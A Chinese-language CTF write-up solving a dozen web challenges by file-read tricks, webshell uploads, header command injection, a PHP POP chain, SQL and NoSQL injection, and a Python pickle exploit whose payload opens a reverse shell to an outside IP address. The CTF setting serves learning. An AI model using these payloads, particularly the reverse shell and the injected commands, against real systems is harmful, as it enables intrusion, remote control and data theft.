纯萌新,贴出自己的wp,一起交流学习QWQ
目录
zupload
zupload-pro
zupload-pro-plus
zupload-pro-plus-max
zupload-pro-plus-max-ultra
zupload-pro-revenge
zupload-pro-plus-enhanced
POPgadget
sql教学局
Pickelshop
readbooks
king
zupload
下载源码,看到index里面
die(file_get_contents($_GET['action']));
就是个读文件的操作嘛,参数无过滤,直接上payload
?action=/flag
zupload-pro
和上一题比起来增加了过滤,不能直接读根目录,也不能目录穿越。
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {die('<h1>Invalid action</h1>');}die(file_get_contents($_GET['action']));
直接伪协议即可
payload:
?action=php://filter/convert.base64-encode/resource=/flag
zupload-pro-plus
这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用
if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {die('<h1>Invalid action</h1>');}die(file_get_contents($_GET['action']));
payload:
?action=php://filter/convert.base64-encode/resource=/flag
zupload-pro-plus-max
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {die('<h1>Invalid action</h1>');}die(include($_GET['action']));
对'/'个数做了限制,相当于ban了伪协议,直接读文件可能性不大了,只能上传马再文件包含拿shell了
else if ($_SERVER['REQUEST_METHOD'] == 'POST') {$file = $_FILES['file'];$file_name = $file['name'];$file_tmp = $file['tmp_name'];$file_size = $file['size'];$file_error = $file['error'];$file_ext = explode('.', $file_name);$file_ext = strtolower(end($file_ext));$allowed = array('zip');if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {if ($file_error === 0) {if ($file_size <= 2097152) {$file_destination = 'uploads/' . $file_name;if (move_uploaded_file($file_tmp, $file_destination)) {echo json_encode(array('status' => 'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}}} else {echo json_encode(array('status' => 'error','message' => 'Only zip files are allowed'));}
这段代码负责处理文件上传请求,限制上传文件的格式为zip,并进行一系列的验证和操作,最后返回相应的成功或错误信息
对文件内容无过滤,这不嘎嘎乱传
先随便创建个txt文件,压缩成zip文件,放到010editor里在文件末尾加上恶意代码
注意不要破坏zip文件格式,否则文件损坏过不了检测
上传成功后访问?action=uploads/1.zip
zupload-pro-plus-max-ultra
继续审计index.php代码,发现文件包含没了,但多一处exec命令执行
exec('unzip ' . $file_tmp . ' -d ' . $extract_to);
其中$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {$file = $_FILES['file'];$file_name = $file['name'];$file_tmp = $file['tmp_name'];$file_size = $file['size'];$file_error = $file['error'];$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';$file_ext = explode('.', $file_name);$file_ext = strtolower(end($file_ext));$allowed = array('zip');if (in_array($file_ext, $allowed)) {if ($file_error === 0) {if ($file_size <= 2097152) {exec('unzip ' . $file_tmp . ' -d ' . $extract_to);echo json_encode(array('status' => 'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}} else {echo json_encode(array('status' => 'error','message' => 'Only zip files are allowed'));}
}
payload:
X-Extract-To: ;cat /flag > flag.txt
访问/flag.txt
zupload-pro-plus-max-ultra-premium
exec中没有可控的变量($file_destination也被uniqid处理过)
直接rce可能性不大
if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {if ($file_error === 0) {if ($file_size <= 2097152) {$file_name_new = uniqid('', true) . '.' . $file_ext;$file_destination = 'uploads/' . $file_name_new;if (!move_uploaded_file($file_tmp, $file_destination)) {echo json_encode(array('status' => 'error','message' => 'Failed to upload file'));}exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');echo json_encode(array('status' => 'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}}
后台会解压缩我们上传的zip文件,但不能访问,只能下载,不能直接get shell
.user.ini 文件的作用范围是当前目录及其子目录,而/uploads下没有可解析的文件
考虑通过软连接link间接操作/var/www/html,配合.user.ini包含一个恶意文件1.php
(相当于上传了/.user.ini和/1.php,给同目录的/index.php包含了1.php)
参考文章:【CISCN2023】unzip 详解
先上传link.zip,再上传link1.zip,再上传link2.zip。
等待5分钟使配置文件生效,直接在/index.php读flag
zupload-pro-revenge
文件上传部分几乎没有过滤,甚至后缀也是自由的,直接传马
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {if (!isset($_GET['action'])) {header('Location: /?action=upload');die();}if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {die('<h1>Invalid action</h1>');}die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {$file = $_FILES['file'];$file_name = $file['name'];$file_tmp = $file['tmp_name'];$file_size = $file['size'];$file_error = $file['error'];if ($file_error === 0) {if ($file_size <= 2097152) {$file_destination = 'uploads/' . $file_name;if (move_uploaded_file($file_tmp, $file_destination)) {echo json_encode(array('status' => 'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}} else {echo json_encode(array('status' => 'error','message' => 'File upload failed'));}
}
直接去访问/uploads/1.php
zupload-pro-plus-enhanced
这题后台不会自动解压缩了,但问题不大
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
重点是这段代码,后缀的处理存在漏洞,只要构造1.zip.php,那么只会检查第一个点号后面的zip,PHP文件会正常执行,payload如下
直接访问/uploads/1.zip.php
POPgadget
因为__wakeup会注册FLAG的环境变量,所以考虑直接phpinfo读flag
exp:
<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));
最终payload:
?begin=O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";s:20:"call_user_func_array";}}}
在phpinfo里找到flag
sql教学局
先简单fuzz一下
发现有替换为空的,也有直接ban了的
第一段:
查库
1'/**/union/**/sselectelect/**/group_concat(schema_name)/**/ffromrom/**/infoorrmation_schema.schemata#
#secret
查表
1'/**/union/**/sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/'secret'#
#password
查字段
1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#
#flag,id,note
查flag
1'/**/union/**/sselectelect/**/group_concat(flag)/**/ffromrom/**/secret.passwoorrd#
#flag{c246bd15-
找第二段flag
查字段
1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'#
#grade,student
查值
1'/**/union/**/sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre/**/where/**/student/**/like/**/'begin'#
#c918-4ea1-ac76
第三段flag
读/flag文件
1'/**/union/**/sSELECTELECT/**/lloadoad_file('/flag')#
#-bc7b91a9d108}
三段flag拼起来,flag{c246bd15-c918-4ea1-ac76-bc7b91a9d108}
Pickelshop
一看题目名就是pickle反序列化
贴一篇自己之前写的Python的反序列化漏洞个人笔记
进来发现有注册、登录、和pickelshop,pickelshop没啥用
随便注册一下,发现返回了cookie
import pickle
import base64
s=base64.b64decode('gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFWjNyNHmUjAhwYXNzd29yZJSMAzEyM5R1Lg==')
print(pickle.loads(s))
验证是pickle反序列化
写个exp
import pickle
import os
import base64class exp(object):def __reduce__(self):s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.136.33",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """return os.system, (s,)e = exp()
s = pickle.dumps(e)
user = base64.b64encode(s).decode()
print(user)
注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错
记得提前监听1337端口
在login的路由cookie上打入(简单的逆向思维)
成功反弹shell拿到flag
readbooks
从/list/book1和/public/book1不同回显大概可以推测出/public这个路由是个读文件的操作
比如cat * 是读当前目录下所有文件内容
输入public/* 可以发现源码
@app.route('/')
@app.route('/index')
def hello_world():return render_template('index.html')@app.route('/public/<path:name>')
def readbook(name):name = str(name)for i in DISALLOWED1:if i in name:return "banned!"for j in DISALLOWED_FILES:if j in name:return "banned!"for k in BLACKLIST:if k in name:return "banned!"print(name)try:res = os.popen('cat {}'.format(name)).read()return resexcept:return "error"
过滤如下:
DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]
经过尝试后可以使用反引号+引号配合echo出文件名即可
思路是`echo ‘/flag’`, echo被过滤使用’ec''ho’, 空格被过滤使用${IFS}
然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag*编码得到L2ZsYWcq
得到flag的文件是/_flag
对/_flag 进行编码L19mbGFn
再传入payload
`'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d`
king
题目hint:
贴一篇文章学习一下:Nosql 注入从零到一
先开着bp,再输入网址,抓包如下
看着一大坨回显应该是MongoDB
是个遍历查询,我们把这部分放到repeater里
然后把左边一大坨改成查看集合(类似于sql里的数据库)
{"query":{"listCollections":1}}
看到了flag的字段文件
然后可以用find命令去读flag文件值
{"query":{"find":"flagjyqe9i21fcf"}}